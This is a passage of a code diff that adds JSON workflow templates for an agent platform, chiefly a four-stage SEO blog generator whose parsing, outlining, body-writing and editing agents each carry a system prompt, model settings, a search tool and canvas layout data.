+                        "name": "Knowledge Base Agent"
+                    },
+                    "dragging": false,
+                    "id": "Agent:NewPumasLick",
+                    "measured": {
+                        "height": 84,
+                        "width": 200
+                    },
+                    "position": {
+                        "x": 347.00048227952215,
+                        "y": 186.49109364794631
+                    },
+                    "selected": false,
+                    "sourcePosition": "right",
+                    "targetPosition": "left",
+                    "type": "agentNode"
+                },
+                {
+                    "data": {
+                        "form": {
+                            "description": "This is an agent for a specific task.",
+                            "user_prompt": "This is the order you need to send to the agent."
+                        },
+                        "label": "Tool",
+                        "name": "flow.tool_10"
+                    },
+                    "dragging": false,
+                    "id": "Tool:AllBirdsNail",
+                    "measured": {
+                        "height": 48,
+                        "width": 200
+                    },
+                    "position": {
+                        "x": 220.24819746977118,
+                        "y": 403.31576836482583
+                    },
+                    "selected": false,
+                    "sourcePosition": "right",
+                    "targetPosition": "left",
+                    "type": "toolNode"
+                }
+            ]
+        },
+        "history": [],
+        "memory": [],
+        "messages": [],
+        "path": [],
+        "retrieval": []
+    },
+    "avatar": "data:image/png;base64,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"
+}

agent/templates/market_generate_seo_blog.json

@@ -0,0 +1,915 @@
+{
+    "id": 12,
+    "title": "Generate SEO Blog",
+    "description": "This workflow automatically generates a complete SEO-optimized blog article based on a simple user input. You don’t need any writing experience. Just provide a topic or short request — the system will handle the rest.",
+    "canvas_type": "Marketing",
+    "dsl": {
+            "components": {
+                "Agent:BetterSitesSend": {
+                    "downstream": [
+                        "Agent:EagerNailsRemain"
+                    ],
+                    "obj": {
+                        "component_name": "Agent",
+                        "params": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_comment": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": null,
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.3,
+                            "llm_id": "deepseek-chat@DeepSeek",
+                            "maxTokensEnabled": false,
+                            "max_retries": 3,
+                            "max_rounds": 3,
+                            "max_tokens": 4096,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "parameter": "Balance",
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.2,
+                            "prompts": [
+                                {
+                                    "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n  - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n  - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+                            "temperature": 0.5,
+                            "temperatureEnabled": true,
+                            "tools": [
+                                {
+                                    "component_name": "TavilySearch",
+                                    "name": "TavilySearch",
+                                    "params": {
+                                        "api_key": "",
+                                        "days": 7,
+                                        "exclude_domains": [],
+                                        "include_answer": false,
+                                        "include_domains": [],
+                                        "include_image_descriptions": false,
+                                        "include_images": false,
+                                        "include_raw_content": true,
+                                        "max_results": 5,
+                                        "outputs": {
+                                            "formalized_content": {
+                                                "type": "string",
+                                                "value": ""
+                                            },
+                                            "json": {
+                                                "type": "Array<Object>",
+                                                "value": []
+                                            }
+                                        },
+                                        "query": "sys.query",
+                                        "search_depth": "basic",
+                                        "topic": "general"
+                                    }
+                                }
+                            ],
+                            "topPEnabled": false,
+                            "top_p": 0.85,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        }
+                    },
+                    "upstream": [
+                        "Agent:ClearRabbitsScream"
+                    ]
+                },
+                "Agent:ClearRabbitsScream": {
+                    "downstream": [
+                        "Agent:BetterSitesSend"
+                    ],
+                    "obj": {
+                        "component_name": "Agent",
+                        "params": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_comment": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": null,
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.5,
+                            "llm_id": "deepseek-chat@DeepSeek",
+                            "maxTokensEnabled": false,
+                            "max_retries": 3,
+                            "max_rounds": 1,
+                            "max_tokens": 4096,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "parameter": "Precise",
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.5,
+                            "prompts": [
+                                {
+                                    "content": "The user query is {sys.query}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+                            "temperature": 0.2,
+                            "temperatureEnabled": true,
+                            "tools": [],
+                            "topPEnabled": false,
+                            "top_p": 0.75,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        }
+                    },
+                    "upstream": [
+                        "begin"
+                    ]
+                },
+                "Agent:EagerNailsRemain": {
+                    "downstream": [
+                        "Agent:LovelyHeadsOwn"
+                    ],
+                    "obj": {
+                        "component_name": "Agent",
+                        "params": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_comment": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": null,
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.5,
+                            "llm_id": "deepseek-chat@DeepSeek",
+                            "maxTokensEnabled": false,
+                            "max_retries": 3,
+                            "max_rounds": 5,
+                            "max_tokens": 4096,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "parameter": "Precise",
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.5,
+                            "prompts": [
+                                {
+                                    "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\n\n\nThe Outline agent output is {Agent:BetterSitesSend@content}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "# Role\n\nYou are the **Body_Agent**, responsible for generating the full content of each section of an SEO-optimized blog based on the provided outline and keyword strategy.\n\n# Tool Access:\n\nYou can use the `Tavily Search` tool to retrieve relevant content, statistics, or examples to support each section you're writing.\n\nUse it **only** when the provided outline lacks enough information, or if the section requires factual grounding.\n\nAlways cite the original link or indicate source where possible.\n\n\n# Goals\n\n1. Write each section (based on H2/H3 structure) as a complete and natural blog paragraph.\n\n2. Integrate the suggested long-tail keywords naturally into each section.\n\n3. When appropriate, use the `Tavily Search` tool to enrich your writing with relevant facts, examples, or quotes.\n\n4. Ensure each section is clear, engaging, and informative, suitable for both human readers and search engines.\n\n\n# Style Guidelines\n\n- Write in a tone appropriate to the audience. Be explanatory, not promotional, unless it's a marketing blog.\n\n- Avoid generic filler content. Prioritize clarity, structure, and value.\n\n- Ensure SEO keywords are embedded seamlessly, not forcefully.\n\n\n\n- Maintain writing rhythm. Vary sentence lengths. Use transitions between ideas.\n\n\n# Input\n\n\nYou will receive:\n\n- Blog title\n\n- Structured outline (including section titles, keywords, and descriptions)\n\n- Target audience\n\n- Blog type and user intent\n\nYou must **follow the outline strictly**. Write content **section-by-section**, based on the structure.\n\n\n# Output Format\n\n```markdown\n\n## H2: [Section Title]\n\n[Your generated content for this section \u2014 500-600 words, using keywords naturally.]\n\n",
+                            "temperature": 0.2,
+                            "temperatureEnabled": true,
+                            "tools": [
+                                {
+                                    "component_name": "TavilySearch",
+                                    "name": "TavilySearch",
+                                    "params": {
+                                        "api_key": "",
+                                        "days": 7,
+                                        "exclude_domains": [],
+                                        "include_answer": false,
+                                        "include_domains": [],
+                                        "include_image_descriptions": false,
+                                        "include_images": false,
+                                        "include_raw_content": true,
+                                        "max_results": 5,
+                                        "outputs": {
+                                            "formalized_content": {
+                                                "type": "string",
+                                                "value": ""
+                                            },
+                                            "json": {
+                                                "type": "Array<Object>",
+                                                "value": []
+                                            }
+                                        },
+                                        "query": "sys.query",
+                                        "search_depth": "basic",
+                                        "topic": "general"
+                                    }
+                                }
+                            ],
+                            "topPEnabled": false,
+                            "top_p": 0.75,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        }
+                    },
+                    "upstream": [
+                        "Agent:BetterSitesSend"
+                    ]
+                },
+                "Agent:LovelyHeadsOwn": {
+                    "downstream": [
+                        "Message:LegalBeansBet"
+                    ],
+                    "obj": {
+                        "component_name": "Agent",
+                        "params": {
+                            "delay_after_error": 1,
+                            "description": "",
+                            "exception_comment": "",
+                            "exception_default_value": "",
+                            "exception_goto": [],
+                            "exception_method": null,
+                            "frequencyPenaltyEnabled": false,
+                            "frequency_penalty": 0.5,
+                            "llm_id": "deepseek-chat@DeepSeek",
+                            "maxTokensEnabled": false,
+                            "max_retries": 3,
+                            "max_rounds": 5,
+                            "max_tokens": 4096,
+                            "mcp": [],
+                            "message_history_window_size": 12,
+                            "outputs": {
+                                "content": {
+                                    "type": "string",
+                                    "value": ""
+                                }
+                            },
+                            "parameter": "Precise",
+                            "presencePenaltyEnabled": false,
+                            "presence_penalty": 0.5,
+                            "prompts": [
+                                {
+                                    "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}\n\nThe Outline agent output is {Agent:BetterSitesSend@content}\n\nThe Body agent output is {Agent:EagerNailsRemain@content}",
+                                    "role": "user"
+                                }
+                            ],
+                            "sys_prompt": "# Role\n\nYou are the **Editor_Agent**, responsible for finalizing the blog post for both human readability and SEO effectiveness.\n\n# Goals\n\n1. Polish the entire blog content for clarity, coherence, and style.\n\n2. Improve transitions between sections, ensure logical flow.\n\n3. Verify that keywords are used appropriately and effectively.\n\n4. Conduct a lightweight SEO audit \u2014 checking keyword density, structure (H1/H2/H3), and overall searchability.\n\n\n\n# Style Guidelines\n\n- Be precise. Avoid bloated or vague language.\n\n- Maintain an informative and engaging tone, suitable to the target audience.\n\n- Do not remove keywords unless absolutely necessary for clarity.\n\n- Ensure paragraph flow and section continuity.\n\n\n# Input\n\nYou will receive:\n\n- Full blog content, written section-by-section\n\n- Original outline with suggested keywords\n\n- Target audience and writing type\n\n# Output Format\n\n```markdown\n\n[The revised, fully polished blog post content goes here.]\n\n",
+                            "temperature": 0.2,
+                            "temperatureEnabled": true,
+                            "tools": [],
+                            "topPEnabled": false,
+                            "top_p": 0.75,
+                            "user_prompt": "",
+                            "visual_files_var": ""
+                        }
+                    },
+                    "upstream": [
+                        "Agent:EagerNailsRemain"
+                    ]
+                },
+                "Message:LegalBeansBet": {
+                    "downstream": [],
+                    "obj": {
+                        "component_name": "Message",
+                        "params": {
+                            "content": [
+                                "{Agent:LovelyHeadsOwn@content}"
+                            ]
+                        }
+                    },
+                    "upstream": [
+                        "Agent:LovelyHeadsOwn"
+                    ]
+                },
+                "begin": {
+                    "downstream": [
+                        "Agent:ClearRabbitsScream"
+                    ],
+                    "obj": {
+                        "component_name": "Begin",
+                        "params": {
+                            "enablePrologue": true,
+                            "inputs": {},
+                            "mode": "conversational",
+                            "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+                        }
+                    },
+                    "upstream": []
+                }
+            },
+            "globals": {
+                "sys.conversation_turns": 0,
+                "sys.files": [],
+                "sys.query": "",
+                "sys.user_id": ""
+            },
+            "graph": {
+                "edges": [
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__beginstart-Agent:ClearRabbitsScreamend",
+                        "source": "begin",
+                        "sourceHandle": "start",
+                        "target": "Agent:ClearRabbitsScream",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:ClearRabbitsScreamstart-Agent:BetterSitesSendend",
+                        "source": "Agent:ClearRabbitsScream",
+                        "sourceHandle": "start",
+                        "target": "Agent:BetterSitesSend",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:BetterSitesSendtool-Tool:SharpPensBurnend",
+                        "source": "Agent:BetterSitesSend",
+                        "sourceHandle": "tool",
+                        "target": "Tool:SharpPensBurn",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:BetterSitesSendstart-Agent:EagerNailsRemainend",
+                        "source": "Agent:BetterSitesSend",
+                        "sourceHandle": "start",
+                        "target": "Agent:EagerNailsRemain",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "id": "xy-edge__Agent:EagerNailsRemaintool-Tool:WickedDeerHealend",
+                        "source": "Agent:EagerNailsRemain",
+                        "sourceHandle": "tool",
+                        "target": "Tool:WickedDeerHeal",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:EagerNailsRemainstart-Agent:LovelyHeadsOwnend",
+                        "source": "Agent:EagerNailsRemain",
+                        "sourceHandle": "start",
+                        "target": "Agent:LovelyHeadsOwn",
+                        "targetHandle": "end"
+                    },
+                    {
+                        "data": {
+                            "isHovered": false
+                        },
+                        "id": "xy-edge__Agent:LovelyHeadsOwnstart-Message:LegalBeansBetend",
+                        "source": "Agent:LovelyHeadsOwn",
+                        "sourceHandle": "start",
+                        "target": "Message:LegalBeansBet",
+                        "targetHandle": "end"
+                    }
+                ],
+                "nodes": [
+                    {
+                        "data": {
+                            "form": {
+                                "enablePrologue": true,
+                                "inputs": {},
+                                "mode": "conversational",
+                                "prologue": "Hi! I'm your SEO blog assistant.\n\nTo get started, please tell me:\n1. What topic you want the blog to cover\n2. Who is the target audience\n3. What you hope to achieve with this blog (e.g., SEO traffic, teaching beginners, promoting a product)\n"
+                            },
+                            "label": "Begin",
+                            "name": "begin"
+                        },
+                        "id": "begin",
+                        "measured": {
+                            "height": 48,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 50,
+                            "y": 200
+                        },
+                        "selected": false,
+                        "sourcePosition": "left",
+                        "targetPosition": "right",
+                        "type": "beginNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.5,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 1,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Precise",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.5,
+                                "prompts": [
+                                    {
+                                        "content": "The user query is {sys.query}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Parse_And_Keyword_Agent**, responsible for interpreting a user's blog writing request and generating a structured writing intent summary and keyword strategy for SEO-optimized content generation.\n\n# Goals\n\n1. Extract and infer the user's true writing intent, even if the input is informal or vague.\n\n2. Identify the writing type, target audience, and implied goal.\n\n3. Suggest 3\u20135 long-tail keywords based on the input and context.\n\n4. Output all data in a Markdown format for downstream agents.\n\n# Operating Guidelines\n\n\n- If the user's input lacks clarity, make reasonable and **conservative** assumptions based on SEO best practices.\n\n- Always choose one clear \"Writing Type\" from the list below.\n\n- Your job is not to write the blog \u2014 only to structure the brief.\n\n# Output Format\n\n```markdown\n## Writing Type\n\n[Choose one: Tutorial / Informative Guide / Marketing Content / Case Study / Opinion Piece / How-to / Comparison Article]\n\n## Target Audience\n\n[Try to be specific based on clues in the input: e.g., marketing managers, junior developers, SEO beginners]\n\n## User Intent Summary\n\n[A 1\u20132 sentence summary of what the user wants to achieve with the blog post]\n\n## Suggested Long-tail Keywords\n\n- keyword 1\n\n- keyword 2\n\n- keyword 3\n\n- keyword 4 (optional)\n\n- keyword 5 (optional)\n\n\n\n\n## Input Examples (and how to handle them)\n\nInput: \"I want to write about RAGFlow.\"\n\u2192 Output: Informative Guide, Audience: AI developers, Intent: explain what RAGFlow is and its use cases\n\nInput: \"Need a blog to promote our prompt design tool.\"\n\u2192 Output: Marketing Content, Audience: product managers or tool adopters, Intent: raise awareness and interest in the product\n\n\n\nInput: \"How to get more Google traffic using AI\"\n\u2192 Output: How-to, Audience: SEO marketers, Intent: guide readers on applying AI for SEO growth",
+                                "temperature": 0.2,
+                                "temperatureEnabled": true,
+                                "tools": [],
+                                "topPEnabled": false,
+                                "top_p": 0.75,
+                                "user_prompt": "",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Parse And Keyword Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:ClearRabbitsScream",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 344.7766966202233,
+                            "y": 234.82202253184496
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "delay_after_error": 1,
+                                "description": "",
+                                "exception_comment": "",
+                                "exception_default_value": "",
+                                "exception_goto": [],
+                                "exception_method": null,
+                                "frequencyPenaltyEnabled": false,
+                                "frequency_penalty": 0.3,
+                                "llm_id": "deepseek-chat@DeepSeek",
+                                "maxTokensEnabled": false,
+                                "max_retries": 3,
+                                "max_rounds": 3,
+                                "max_tokens": 4096,
+                                "mcp": [],
+                                "message_history_window_size": 12,
+                                "outputs": {
+                                    "content": {
+                                        "type": "string",
+                                        "value": ""
+                                    }
+                                },
+                                "parameter": "Balance",
+                                "presencePenaltyEnabled": false,
+                                "presence_penalty": 0.2,
+                                "prompts": [
+                                    {
+                                        "content": "The parse and keyword agent output is {Agent:ClearRabbitsScream@content}",
+                                        "role": "user"
+                                    }
+                                ],
+                                "sys_prompt": "# Role\n\nYou are the **Outline_Agent**, responsible for generating a clear and SEO-optimized blog outline based on the user's parsed writing intent and keyword strategy.\n\n# Tool Access:\n\n- You have access to a search tool called `Tavily Search`.\n\n- If you are unsure how to structure a section, you may call this tool to search for related blog outlines or content from Google.\n\n- Do not overuse it. Your job is to extract **structure**, not to write paragraphs.\n\n\n# Goals\n\n1. Create a well-structured outline with appropriate H2 and H3 headings.\n\n2. Ensure logical flow from introduction to conclusion.\n\n3. Assign 1\u20132 suggested long-tail keywords to each major section for SEO alignment.\n\n4. Make the structure suitable for downstream paragraph writing.\n\n\n\n\n#Note\n\n- Use concise, scannable section titles.\n\n- Do not write full paragraphs.\n\n- Prioritize clarity, logical progression, and SEO alignment.\n\n\n\n- If the blog type is \u201cTutorial\u201d or \u201cHow-to\u201d, include step-based sections.\n\n\n# Input\n\nYou will receive:\n\n- Writing Type (e.g., Tutorial, Informative Guide)\n\n- Target Audience\n\n- User Intent Summary\n\n- 3\u20135 long-tail keywords\n\n\nUse this information to design a structure that both informs readers and maximizes search engine visibility.\n\n# Output Format\n\n```markdown\n\n## Blog Title (suggested)\n\n[Give a short, SEO-friendly title suggestion]\n\n## Outline\n\n### Introduction\n\n- Purpose of the article\n\n- Brief context\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 1]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 2]\n\n- [Short description of what this section will cover]\n\n- **Suggested keywords**: [keyword1, keyword2]\n\n### H2: [Section Title 3]\n\n- [Optional H3 Subsection Title A]\n\n  - [Explanation of sub-point]\n\n- [Optional H3 Subsection Title B]\n\n  - [Explanation of sub-point]\n\n- **Suggested keywords**: [keyword1]\n\n### Conclusion\n\n- Recap key takeaways\n\n- Optional CTA (Call to Action)\n\n- **Suggested keywords**: [keyword3]\n\n",
+                                "temperature": 0.5,
+                                "temperatureEnabled": true,
+                                "tools": [
+                                    {
+                                        "component_name": "TavilySearch",
+                                        "name": "TavilySearch",
+                                        "params": {
+                                            "api_key": "",
+                                            "days": 7,
+                                            "exclude_domains": [],
+                                            "include_answer": false,
+                                            "include_domains": [],
+                                            "include_image_descriptions": false,
+                                            "include_images": false,
+                                            "include_raw_content": true,
+                                            "max_results": 5,
+                                            "outputs": {
+                                                "formalized_content": {
+                                                    "type": "string",
+                                                    "value": ""
+                                                },
+                                                "json": {
+                                                    "type": "Array<Object>",
+                                                    "value": []
+                                                }
+                                            },
+                                            "query": "sys.query",
+                                            "search_depth": "basic",
+                                            "topic": "general"
+                                        }
+                                    }
+                                ],
+                                "topPEnabled": false,
+                                "top_p": 0.85,
+                                "user_prompt": "",
+                                "visual_files_var": ""
+                            },
+                            "label": "Agent",
+                            "name": "Outline Agent"
+                        },
+                        "dragging": false,
+                        "id": "Agent:BetterSitesSend",
+                        "measured": {
+                            "height": 84,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 613.4368763415628,
+                            "y": 164.3074269048589
+                        },
+                        "selected": false,
+                        "sourcePosition": "right",
+                        "targetPosition": "left",
+                        "type": "agentNode"
+                    },
+                    {
+                        "data": {
+                            "form": {
+                                "description": "This is an agent for a specific task.",
+                                "user_prompt": "This is the order you need to send to the agent."
+                            },
+                            "label": "Tool",
+                            "name": "flow.tool_0"
+                        },
+                        "dragging": false,
+                        "id": "Tool:SharpPensBurn",
+                        "measured": {
+                            "height": 44,
+                            "width": 200
+                        },
+                        "position": {
+                            "x": 580.1877078861457,
